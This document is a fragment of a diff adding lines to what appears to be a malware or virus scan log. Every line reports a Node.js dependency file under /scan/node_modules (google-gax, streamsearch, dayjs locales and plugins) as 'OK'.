+/scan/node_modules/google-gax/build/src/routingHeader.js: OK
+/scan/node_modules/google-gax/build/src/fallbackRest.js: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longrunning.d.ts: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningApiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longrunning.js: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningDescriptor.d.ts: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningDescriptor.js: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longrunning.js.map: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningDescriptor.js.map: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningApiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/longRunningCalls/longRunningApiCaller.js: OK
+/scan/node_modules/google-gax/build/src/clientInterface.d.ts: OK
+/scan/node_modules/google-gax/build/src/pathTemplate.js: OK
+/scan/node_modules/google-gax/build/src/clientInterface.js: OK
+/scan/node_modules/google-gax/build/src/operationsClient.js: OK
+/scan/node_modules/google-gax/build/src/status.js: OK
+/scan/node_modules/google-gax/build/src/createApiCall.js: OK
+/scan/node_modules/google-gax/build/src/fallbackServiceStub.js: OK
+/scan/node_modules/google-gax/build/src/protobuf.js.map: OK
+/scan/node_modules/google-gax/build/src/index.js.map: OK
+/scan/node_modules/google-gax/build/src/operationsClient.js.map: OK
+/scan/node_modules/google-gax/build/src/fallback.js: OK
+/scan/node_modules/google-gax/build/src/warnings.js.map: OK
+/scan/node_modules/google-gax/build/src/normalCalls/normalApiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/normalCalls/normalApiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/normalCalls/retries.js.map: OK
+/scan/node_modules/google-gax/build/src/normalCalls/timeout.js: OK
+/scan/node_modules/google-gax/build/src/normalCalls/retries.js: OK
+/scan/node_modules/google-gax/build/src/normalCalls/timeout.d.ts: OK
+/scan/node_modules/google-gax/build/src/normalCalls/timeout.js.map: OK
+/scan/node_modules/google-gax/build/src/normalCalls/retries.d.ts: OK
+/scan/node_modules/google-gax/build/src/normalCalls/normalApiCaller.js: OK
+/scan/node_modules/google-gax/build/src/locations_client_config.json: OK
+/scan/node_modules/google-gax/build/src/descriptor.d.ts: OK
+/scan/node_modules/google-gax/build/src/fallbackServiceStub.js.map: OK
+/scan/node_modules/google-gax/build/src/iam_policy_service_client_config.json: OK
+/scan/node_modules/google-gax/build/src/util.d.ts: OK
+/scan/node_modules/google-gax/build/src/status.js.map: OK
+/scan/node_modules/google-gax/build/src/locationService.js.map: OK
+/scan/node_modules/google-gax/build/src/featureDetection.js.map: OK
+/scan/node_modules/google-gax/build/src/index.d.ts: OK
+/scan/node_modules/google-gax/build/src/locationService.js: OK
+/scan/node_modules/google-gax/build/src/transcoding.js.map: OK
+/scan/node_modules/google-gax/build/src/apitypes.js.map: OK
+/scan/node_modules/google-gax/build/src/transcoding.d.ts: OK
+/scan/node_modules/google-gax/build/src/status.d.ts: OK
+/scan/node_modules/google-gax/build/src/grpc.d.ts: OK
+/scan/node_modules/google-gax/build/src/gax.js.map: OK
+/scan/node_modules/google-gax/build/src/googleError.js.map: OK
+/scan/node_modules/google-gax/build/src/routingHeader.js.map: OK
+/scan/node_modules/google-gax/build/src/warnings.d.ts: OK
+/scan/node_modules/google-gax/build/src/pathTemplate.d.ts: OK
+/scan/node_modules/google-gax/build/src/fallbackRest.js.map: OK
+/scan/node_modules/google-gax/build/src/createApiCall.js.map: OK
+/scan/node_modules/streamsearch/LICENSE: OK
+/scan/node_modules/streamsearch/test/test.js: OK
+/scan/node_modules/streamsearch/README.md: OK
+/scan/node_modules/streamsearch/package.json: OK
+/scan/node_modules/streamsearch/.github/workflows/lint.yml: OK
+/scan/node_modules/streamsearch/.github/workflows/ci.yml: OK
+/scan/node_modules/streamsearch/.eslintrc.js: OK
+/scan/node_modules/streamsearch/lib/sbmh.js: OK
+/scan/node_modules/dayjs/locale/pt.js: OK
+/scan/node_modules/dayjs/locale/en-nz.js: OK
+/scan/node_modules/dayjs/locale/vi.js: OK
+/scan/node_modules/dayjs/locale/lv.js: OK
+/scan/node_modules/dayjs/locale/kk.js: OK
+/scan/node_modules/dayjs/locale/gl.js: OK
+/scan/node_modules/dayjs/locale/pl.js: OK
+/scan/node_modules/dayjs/locale/bm.js: OK
+/scan/node_modules/dayjs/locale/mn.js: OK
+/scan/node_modules/dayjs/locale/tzm-latn.js: OK
+/scan/node_modules/dayjs/locale/en-ca.js: OK
+/scan/node_modules/dayjs/locale/mr.js: OK
+/scan/node_modules/dayjs/locale/el.js: OK
+/scan/node_modules/dayjs/locale/bi.js: OK
+/scan/node_modules/dayjs/locale/tzm.js: OK
+/scan/node_modules/dayjs/locale/et.js: OK
+/scan/node_modules/dayjs/locale/gom-latn.js: OK
+/scan/node_modules/dayjs/locale/is.js: OK
+/scan/node_modules/dayjs/locale/sl.js: OK
+/scan/node_modules/dayjs/locale/am.js: OK
+/scan/node_modules/dayjs/locale/nn.js: OK
+/scan/node_modules/dayjs/locale/ko.js: OK
+/scan/node_modules/dayjs/locale/ar-sa.js: OK
+/scan/node_modules/dayjs/locale/hr.js: OK
+/scan/node_modules/dayjs/locale/ms.js: OK
+/scan/node_modules/dayjs/locale/fi.js: OK
+/scan/node_modules/dayjs/locale/th.js: OK
+/scan/node_modules/dayjs/locale/jv.js: OK
+/scan/node_modules/dayjs/locale/tzl.js: OK
+/scan/node_modules/dayjs/locale/ru.js: OK
+/scan/node_modules/dayjs/locale/eu.js: OK
+/scan/node_modules/dayjs/locale/mk.js: OK
+/scan/node_modules/dayjs/locale/yo.js: OK
+/scan/node_modules/dayjs/locale/kn.js: OK
+/scan/node_modules/dayjs/locale/sq.js: OK
+/scan/node_modules/dayjs/locale/lo.js: OK
+/scan/node_modules/dayjs/locale/tlh.js: OK
+/scan/node_modules/dayjs/locale/gu.js: OK
+/scan/node_modules/dayjs/locale/si.js: OK
+/scan/node_modules/dayjs/locale/ky.js: OK
+/scan/node_modules/dayjs/locale/tg.js: OK
+/scan/node_modules/dayjs/locale/uz-latn.js: OK
+/scan/node_modules/dayjs/locale/types.d.ts: OK
+/scan/node_modules/dayjs/locale/ar-iq.js: OK
+/scan/node_modules/dayjs/locale/ja.js: OK
+/scan/node_modules/dayjs/locale/ka.js: OK
+/scan/node_modules/dayjs/locale/he.js: OK
+/scan/node_modules/dayjs/locale/bg.js: OK
+/scan/node_modules/dayjs/locale/es-do.js: OK
+/scan/node_modules/dayjs/locale/zh-hk.js: OK
+/scan/node_modules/dayjs/locale/sr-cyrl.js: OK
+/scan/node_modules/dayjs/locale/my.js: OK
+/scan/node_modules/dayjs/locale/uz.js: OK
+/scan/node_modules/dayjs/locale/ar-tn.js: OK
+/scan/node_modules/dayjs/locale/ne.js: OK
+/scan/node_modules/dayjs/locale/tl-ph.js: OK
+/scan/node_modules/dayjs/locale/af.js: OK
+/scan/node_modules/dayjs/locale/fr-ch.js: OK
+/scan/node_modules/dayjs/locale/es-pr.js: OK
+/scan/node_modules/dayjs/locale/es-us.js: OK
+/scan/node_modules/dayjs/locale/id.js: OK
+/scan/node_modules/dayjs/locale/az.js: OK
+/scan/node_modules/dayjs/locale/en-il.js: OK
+/scan/node_modules/dayjs/locale/me.js: OK
+/scan/node_modules/dayjs/locale/x-pseudo.js: OK
+/scan/node_modules/dayjs/locale/ug-cn.js: OK
+/scan/node_modules/dayjs/locale/pa-in.js: OK
+/scan/node_modules/dayjs/locale/en-au.js: OK
+/scan/node_modules/dayjs/locale/lb.js: OK
+/scan/node_modules/dayjs/locale/ca.js: OK
+/scan/node_modules/dayjs/locale/ta.js: OK
+/scan/node_modules/dayjs/locale/sd.js: OK
+/scan/node_modules/dayjs/locale/cy.js: OK
+/scan/node_modules/dayjs/locale/oc-lnc.js: OK
+/scan/node_modules/dayjs/locale/te.js: OK
+/scan/node_modules/dayjs/locale/nb.js: OK
+/scan/node_modules/dayjs/locale/be.js: OK
+/scan/node_modules/dayjs/locale/gd.js: OK
+/scan/node_modules/dayjs/locale/ar-kw.js: OK
+/scan/node_modules/dayjs/locale/zh-cn.js: OK
+/scan/node_modules/dayjs/locale/zh-tw.js: OK
+/scan/node_modules/dayjs/locale/de-ch.js: OK
+/scan/node_modules/dayjs/locale/pt-br.js: OK
+/scan/node_modules/dayjs/locale/de-at.js: OK
+/scan/node_modules/dayjs/locale/en-in.js: OK
+/scan/node_modules/dayjs/locale/da.js: OK
+/scan/node_modules/dayjs/locale/en-tt.js: OK
+/scan/node_modules/dayjs/locale/fa.js: OK
+/scan/node_modules/dayjs/locale/ga.js: OK
+/scan/node_modules/dayjs/locale/se.js: OK
+/scan/node_modules/dayjs/locale/de.js: OK
+/scan/node_modules/dayjs/locale/fy.js: OK
+/scan/node_modules/dayjs/locale/ms-my.js: OK
+/scan/node_modules/dayjs/locale/sv-fi.js: OK
+/scan/node_modules/dayjs/locale/en.js: OK
+/scan/node_modules/dayjs/locale/rn.js: OK
+/scan/node_modules/dayjs/locale/bs.js: OK
+/scan/node_modules/dayjs/locale/ku.js: OK
+/scan/node_modules/dayjs/locale/tk.js: OK
+/scan/node_modules/dayjs/locale/sv.js: OK
+/scan/node_modules/dayjs/locale/dv.js: OK
+/scan/node_modules/dayjs/locale/zh.js: OK
+/scan/node_modules/dayjs/locale/hi.js: OK
+/scan/node_modules/dayjs/locale/uk.js: OK
+/scan/node_modules/dayjs/locale/ar-dz.js: OK
+/scan/node_modules/dayjs/locale/cs.js: OK
+/scan/node_modules/dayjs/locale/km.js: OK
+/scan/node_modules/dayjs/locale/fr.js: OK
+/scan/node_modules/dayjs/locale/nl.js: OK
+/scan/node_modules/dayjs/locale/fr-ca.js: OK
+/scan/node_modules/dayjs/locale/en-gb.js: OK
+/scan/node_modules/dayjs/locale/sr.js: OK
+/scan/node_modules/dayjs/locale/hu.js: OK
+/scan/node_modules/dayjs/locale/mt.js: OK
+/scan/node_modules/dayjs/locale/en-ie.js: OK
+/scan/node_modules/dayjs/locale/nl-be.js: OK
+/scan/node_modules/dayjs/locale/index.d.ts: OK
+/scan/node_modules/dayjs/locale/lt.js: OK
+/scan/node_modules/dayjs/locale/ml.js: OK
+/scan/node_modules/dayjs/locale/bo.js: OK
+/scan/node_modules/dayjs/locale/fo.js: OK
+/scan/node_modules/dayjs/locale/ar-ma.js: OK
+/scan/node_modules/dayjs/locale/ar.js: OK
+/scan/node_modules/dayjs/locale/ss.js: OK
+/scan/node_modules/dayjs/locale/ht.js: OK
+/scan/node_modules/dayjs/locale/ar-ly.js: OK
+/scan/node_modules/dayjs/locale/it-ch.js: OK
+/scan/node_modules/dayjs/locale/es-mx.js: OK
+/scan/node_modules/dayjs/locale/hy-am.js: OK
+/scan/node_modules/dayjs/locale/cv.js: OK
+/scan/node_modules/dayjs/locale/sk.js: OK
+/scan/node_modules/dayjs/locale/it.js: OK
+/scan/node_modules/dayjs/locale/tet.js: OK
+/scan/node_modules/dayjs/locale/es.js: OK
+/scan/node_modules/dayjs/locale/bn.js: OK
+/scan/node_modules/dayjs/locale/eo.js: OK
+/scan/node_modules/dayjs/locale/ro.js: OK
+/scan/node_modules/dayjs/locale/ur.js: OK
+/scan/node_modules/dayjs/locale/br.js: OK
+/scan/node_modules/dayjs/locale/sw.js: OK
+/scan/node_modules/dayjs/locale/bn-bd.js: OK
+/scan/node_modules/dayjs/locale/mi.js: OK
+/scan/node_modules/dayjs/locale/rw.js: OK
+/scan/node_modules/dayjs/locale/en-sg.js: OK
+/scan/node_modules/dayjs/locale/tr.js: OK
+/scan/node_modules/dayjs/LICENSE: OK
+/scan/node_modules/dayjs/CHANGELOG.md: OK
+/scan/node_modules/dayjs/esm/locale/pt.js: OK
+/scan/node_modules/dayjs/esm/locale/en-nz.js: OK
+/scan/node_modules/dayjs/esm/locale/vi.js: OK
+/scan/node_modules/dayjs/esm/locale/lv.js: OK
+/scan/node_modules/dayjs/esm/locale/kk.js: OK
+/scan/node_modules/dayjs/esm/locale/gl.js: OK
+/scan/node_modules/dayjs/esm/locale/pl.js: OK
+/scan/node_modules/dayjs/esm/locale/bm.js: OK
+/scan/node_modules/dayjs/esm/locale/mn.js: OK
+/scan/node_modules/dayjs/esm/locale/tzm-latn.js: OK
+/scan/node_modules/dayjs/esm/locale/en-ca.js: OK
+/scan/node_modules/dayjs/esm/locale/mr.js: OK
+/scan/node_modules/dayjs/esm/locale/el.js: OK
+/scan/node_modules/dayjs/esm/locale/bi.js: OK
+/scan/node_modules/dayjs/esm/locale/tzm.js: OK
+/scan/node_modules/dayjs/esm/locale/et.js: OK
+/scan/node_modules/dayjs/esm/locale/gom-latn.js: OK
+/scan/node_modules/dayjs/esm/locale/is.js: OK
+/scan/node_modules/dayjs/esm/locale/sl.js: OK
+/scan/node_modules/dayjs/esm/locale/am.js: OK
+/scan/node_modules/dayjs/esm/locale/nn.js: OK
+/scan/node_modules/dayjs/esm/locale/ko.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-sa.js: OK
+/scan/node_modules/dayjs/esm/locale/hr.js: OK
+/scan/node_modules/dayjs/esm/locale/ms.js: OK
+/scan/node_modules/dayjs/esm/locale/fi.js: OK
+/scan/node_modules/dayjs/esm/locale/th.js: OK
+/scan/node_modules/dayjs/esm/locale/jv.js: OK
+/scan/node_modules/dayjs/esm/locale/tzl.js: OK
+/scan/node_modules/dayjs/esm/locale/ru.js: OK
+/scan/node_modules/dayjs/esm/locale/eu.js: OK
+/scan/node_modules/dayjs/esm/locale/mk.js: OK
+/scan/node_modules/dayjs/esm/locale/yo.js: OK
+/scan/node_modules/dayjs/esm/locale/kn.js: OK
+/scan/node_modules/dayjs/esm/locale/sq.js: OK
+/scan/node_modules/dayjs/esm/locale/lo.js: OK
+/scan/node_modules/dayjs/esm/locale/tlh.js: OK
+/scan/node_modules/dayjs/esm/locale/gu.js: OK
+/scan/node_modules/dayjs/esm/locale/si.js: OK
+/scan/node_modules/dayjs/esm/locale/ky.js: OK
+/scan/node_modules/dayjs/esm/locale/tg.js: OK
+/scan/node_modules/dayjs/esm/locale/uz-latn.js: OK
+/scan/node_modules/dayjs/esm/locale/types.d.ts: OK
+/scan/node_modules/dayjs/esm/locale/ar-iq.js: OK
+/scan/node_modules/dayjs/esm/locale/ja.js: OK
+/scan/node_modules/dayjs/esm/locale/ka.js: OK
+/scan/node_modules/dayjs/esm/locale/he.js: OK
+/scan/node_modules/dayjs/esm/locale/bg.js: OK
+/scan/node_modules/dayjs/esm/locale/es-do.js: OK
+/scan/node_modules/dayjs/esm/locale/zh-hk.js: OK
+/scan/node_modules/dayjs/esm/locale/sr-cyrl.js: OK
+/scan/node_modules/dayjs/esm/locale/my.js: OK
+/scan/node_modules/dayjs/esm/locale/uz.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-tn.js: OK
+/scan/node_modules/dayjs/esm/locale/ne.js: OK
+/scan/node_modules/dayjs/esm/locale/tl-ph.js: OK
+/scan/node_modules/dayjs/esm/locale/af.js: OK
+/scan/node_modules/dayjs/esm/locale/fr-ch.js: OK
+/scan/node_modules/dayjs/esm/locale/es-pr.js: OK
+/scan/node_modules/dayjs/esm/locale/es-us.js: OK
+/scan/node_modules/dayjs/esm/locale/id.js: OK
+/scan/node_modules/dayjs/esm/locale/az.js: OK
+/scan/node_modules/dayjs/esm/locale/en-il.js: OK
+/scan/node_modules/dayjs/esm/locale/me.js: OK
+/scan/node_modules/dayjs/esm/locale/x-pseudo.js: OK
+/scan/node_modules/dayjs/esm/locale/ug-cn.js: OK
+/scan/node_modules/dayjs/esm/locale/pa-in.js: OK
+/scan/node_modules/dayjs/esm/locale/en-au.js: OK
+/scan/node_modules/dayjs/esm/locale/lb.js: OK
+/scan/node_modules/dayjs/esm/locale/ca.js: OK
+/scan/node_modules/dayjs/esm/locale/ta.js: OK
+/scan/node_modules/dayjs/esm/locale/sd.js: OK
+/scan/node_modules/dayjs/esm/locale/cy.js: OK
+/scan/node_modules/dayjs/esm/locale/oc-lnc.js: OK
+/scan/node_modules/dayjs/esm/locale/te.js: OK
+/scan/node_modules/dayjs/esm/locale/nb.js: OK
+/scan/node_modules/dayjs/esm/locale/be.js: OK
+/scan/node_modules/dayjs/esm/locale/gd.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-kw.js: OK
+/scan/node_modules/dayjs/esm/locale/zh-cn.js: OK
+/scan/node_modules/dayjs/esm/locale/zh-tw.js: OK
+/scan/node_modules/dayjs/esm/locale/de-ch.js: OK
+/scan/node_modules/dayjs/esm/locale/pt-br.js: OK
+/scan/node_modules/dayjs/esm/locale/de-at.js: OK
+/scan/node_modules/dayjs/esm/locale/en-in.js: OK
+/scan/node_modules/dayjs/esm/locale/da.js: OK
+/scan/node_modules/dayjs/esm/locale/en-tt.js: OK
+/scan/node_modules/dayjs/esm/locale/fa.js: OK
+/scan/node_modules/dayjs/esm/locale/ga.js: OK
+/scan/node_modules/dayjs/esm/locale/se.js: OK
+/scan/node_modules/dayjs/esm/locale/de.js: OK
+/scan/node_modules/dayjs/esm/locale/fy.js: OK
+/scan/node_modules/dayjs/esm/locale/ms-my.js: OK
+/scan/node_modules/dayjs/esm/locale/sv-fi.js: OK
+/scan/node_modules/dayjs/esm/locale/en.js: OK
+/scan/node_modules/dayjs/esm/locale/rn.js: OK
+/scan/node_modules/dayjs/esm/locale/bs.js: OK
+/scan/node_modules/dayjs/esm/locale/ku.js: OK
+/scan/node_modules/dayjs/esm/locale/tk.js: OK
+/scan/node_modules/dayjs/esm/locale/sv.js: OK
+/scan/node_modules/dayjs/esm/locale/dv.js: OK
+/scan/node_modules/dayjs/esm/locale/zh.js: OK
+/scan/node_modules/dayjs/esm/locale/hi.js: OK
+/scan/node_modules/dayjs/esm/locale/uk.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-dz.js: OK
+/scan/node_modules/dayjs/esm/locale/cs.js: OK
+/scan/node_modules/dayjs/esm/locale/km.js: OK
+/scan/node_modules/dayjs/esm/locale/fr.js: OK
+/scan/node_modules/dayjs/esm/locale/nl.js: OK
+/scan/node_modules/dayjs/esm/locale/fr-ca.js: OK
+/scan/node_modules/dayjs/esm/locale/en-gb.js: OK
+/scan/node_modules/dayjs/esm/locale/sr.js: OK
+/scan/node_modules/dayjs/esm/locale/hu.js: OK
+/scan/node_modules/dayjs/esm/locale/mt.js: OK
+/scan/node_modules/dayjs/esm/locale/en-ie.js: OK
+/scan/node_modules/dayjs/esm/locale/nl-be.js: OK
+/scan/node_modules/dayjs/esm/locale/index.d.ts: OK
+/scan/node_modules/dayjs/esm/locale/lt.js: OK
+/scan/node_modules/dayjs/esm/locale/ml.js: OK
+/scan/node_modules/dayjs/esm/locale/bo.js: OK
+/scan/node_modules/dayjs/esm/locale/fo.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-ma.js: OK
+/scan/node_modules/dayjs/esm/locale/ar.js: OK
+/scan/node_modules/dayjs/esm/locale/ss.js: OK
+/scan/node_modules/dayjs/esm/locale/ht.js: OK
+/scan/node_modules/dayjs/esm/locale/ar-ly.js: OK
+/scan/node_modules/dayjs/esm/locale/it-ch.js: OK
+/scan/node_modules/dayjs/esm/locale/es-mx.js: OK
+/scan/node_modules/dayjs/esm/locale/hy-am.js: OK
+/scan/node_modules/dayjs/esm/locale/cv.js: OK
+/scan/node_modules/dayjs/esm/locale/sk.js: OK
+/scan/node_modules/dayjs/esm/locale/it.js: OK
+/scan/node_modules/dayjs/esm/locale/tet.js: OK
+/scan/node_modules/dayjs/esm/locale/es.js: OK
+/scan/node_modules/dayjs/esm/locale/bn.js: OK
+/scan/node_modules/dayjs/esm/locale/eo.js: OK
+/scan/node_modules/dayjs/esm/locale/ro.js: OK
+/scan/node_modules/dayjs/esm/locale/ur.js: OK
+/scan/node_modules/dayjs/esm/locale/br.js: OK
+/scan/node_modules/dayjs/esm/locale/sw.js: OK
+/scan/node_modules/dayjs/esm/locale/bn-bd.js: OK
+/scan/node_modules/dayjs/esm/locale/mi.js: OK
+/scan/node_modules/dayjs/esm/locale/rw.js: OK
+/scan/node_modules/dayjs/esm/locale/en-sg.js: OK
+/scan/node_modules/dayjs/esm/locale/tr.js: OK
+/scan/node_modules/dayjs/esm/plugin/dayOfYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/dayOfYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isTomorrow/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isTomorrow/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/bigIntSupport/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/bigIntSupport/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/relativeTime/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/relativeTime/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/updateLocale/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/updateLocale/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/devHelper/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/devHelper/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/calendar/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/calendar/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/timezone/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/timezone/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/quarterOfYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/quarterOfYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/toArray/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/toArray/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/negativeYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/negativeYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isoWeeksInYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isoWeeksInYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/localeData/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/localeData/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/minMax/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/minMax/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isSameOrBefore/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isSameOrBefore/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isLeapYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isLeapYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/weekday/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/weekday/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isoWeek/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isoWeek/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/toObject/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/toObject/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/buddhistEra/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/buddhistEra/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/advancedFormat/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/advancedFormat/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isSameOrAfter/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isSameOrAfter/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/pluralGetSet/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/pluralGetSet/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isMoment/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isMoment/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isYesterday/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isYesterday/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/preParsePostFormat/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/preParsePostFormat/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/arraySupport/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/arraySupport/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/customParseFormat/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/customParseFormat/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/weekOfYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/weekOfYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isBetween/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isBetween/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/isToday/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/isToday/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/duration/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/duration/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/weekYear/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/weekYear/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/localizedFormat/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/localizedFormat/utils.js: OK
+/scan/node_modules/dayjs/esm/plugin/localizedFormat/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/badMutable/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/badMutable/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/utc/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/utc/index.d.ts: OK
+/scan/node_modules/dayjs/esm/plugin/objectSupport/index.js: OK
+/scan/node_modules/dayjs/esm/plugin/objectSupport/index.d.ts: OK
+/scan/node_modules/dayjs/esm/index.js: OK
+/scan/node_modules/dayjs/esm/constant.js: OK
+/scan/node_modules/dayjs/esm/utils.js: OK
+/scan/node_modules/dayjs/esm/index.d.ts: OK
+/scan/node_modules/dayjs/plugin/buddhistEra.js: OK
+/scan/node_modules/dayjs/plugin/duration.js: OK
+/scan/node_modules/dayjs/plugin/weekOfYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/advancedFormat.d.ts: OK
+/scan/node_modules/dayjs/plugin/localizedFormat.js: OK
+/scan/node_modules/dayjs/plugin/badMutable.d.ts: OK
+/scan/node_modules/dayjs/plugin/isSameOrBefore.js: OK
+/scan/node_modules/dayjs/plugin/weekYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/negativeYear.js: OK
+/scan/node_modules/dayjs/plugin/bigIntSupport.d.ts: OK
+/scan/node_modules/dayjs/plugin/isLeapYear.js: OK
+/scan/node_modules/dayjs/plugin/pluralGetSet.js: OK
+/scan/node_modules/dayjs/plugin/isBetween.js: OK
+/scan/node_modules/dayjs/plugin/isoWeeksInYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/weekday.js: OK
+/scan/node_modules/dayjs/plugin/isoWeek.js: OK
+/scan/node_modules/dayjs/plugin/toObject.d.ts: OK
+/scan/node_modules/dayjs/plugin/arraySupport.js: OK
+/scan/node_modules/dayjs/plugin/isSameOrBefore.d.ts: OK
+/scan/node_modules/dayjs/plugin/isoWeek.d.ts: OK
+/scan/node_modules/dayjs/plugin/toArray.js: OK
+/scan/node_modules/dayjs/plugin/weekday.d.ts: OK
+/scan/node_modules/dayjs/plugin/isSameOrAfter.js: OK
+/scan/node_modules/dayjs/plugin/updateLocale.d.ts: OK
+/scan/node_modules/dayjs/plugin/advancedFormat.js: OK
+/scan/node_modules/dayjs/plugin/negativeYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/dayOfYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/utc.d.ts: OK
+/scan/node_modules/dayjs/plugin/isYesterday.js: OK
+/scan/node_modules/dayjs/plugin/dayOfYear.js: OK
+/scan/node_modules/dayjs/plugin/relativeTime.d.ts: OK
+/scan/node_modules/dayjs/plugin/bigIntSupport.js: OK
+/scan/node_modules/dayjs/plugin/isoWeeksInYear.js: OK
+/scan/node_modules/dayjs/plugin/weekOfYear.js: OK
+/scan/node_modules/dayjs/plugin/isMoment.d.ts: OK
+/scan/node_modules/dayjs/plugin/timezone.js: OK
+/scan/node_modules/dayjs/plugin/localeData.js: OK
+/scan/node_modules/dayjs/plugin/relativeTime.js: OK
+/scan/node_modules/dayjs/plugin/isTomorrow.js: OK
+/scan/node_modules/dayjs/plugin/localizedFormat.d.ts: OK
+/scan/node_modules/dayjs/plugin/isLeapYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/updateLocale.js: OK
+/scan/node_modules/dayjs/plugin/timezone.d.ts: OK
+/scan/node_modules/dayjs/plugin/isYesterday.d.ts: OK
+/scan/node_modules/dayjs/plugin/utc.js: OK
+/scan/node_modules/dayjs/plugin/isToday.js: OK
+/scan/node_modules/dayjs/plugin/customParseFormat.d.ts: OK
+/scan/node_modules/dayjs/plugin/objectSupport.d.ts: OK
+/scan/node_modules/dayjs/plugin/quarterOfYear.d.ts: OK
+/scan/node_modules/dayjs/plugin/weekYear.js: OK
+/scan/node_modules/dayjs/plugin/isBetween.d.ts: OK
+/scan/node_modules/dayjs/plugin/localeData.d.ts: OK
+/scan/node_modules/dayjs/plugin/isToday.d.ts: OK
+/scan/node_modules/dayjs/plugin/preParsePostFormat.d.ts: OK
+/scan/node_modules/dayjs/plugin/minMax.d.ts: OK
+/scan/node_modules/dayjs/plugin/buddhistEra.d.ts: OK
+/scan/node_modules/dayjs/plugin/customParseFormat.js: OK
+/scan/node_modules/dayjs/plugin/arraySupport.d.ts: OK
+/scan/node_modules/dayjs/plugin/calendar.d.ts: OK
+/scan/node_modules/dayjs/plugin/calendar.js: OK
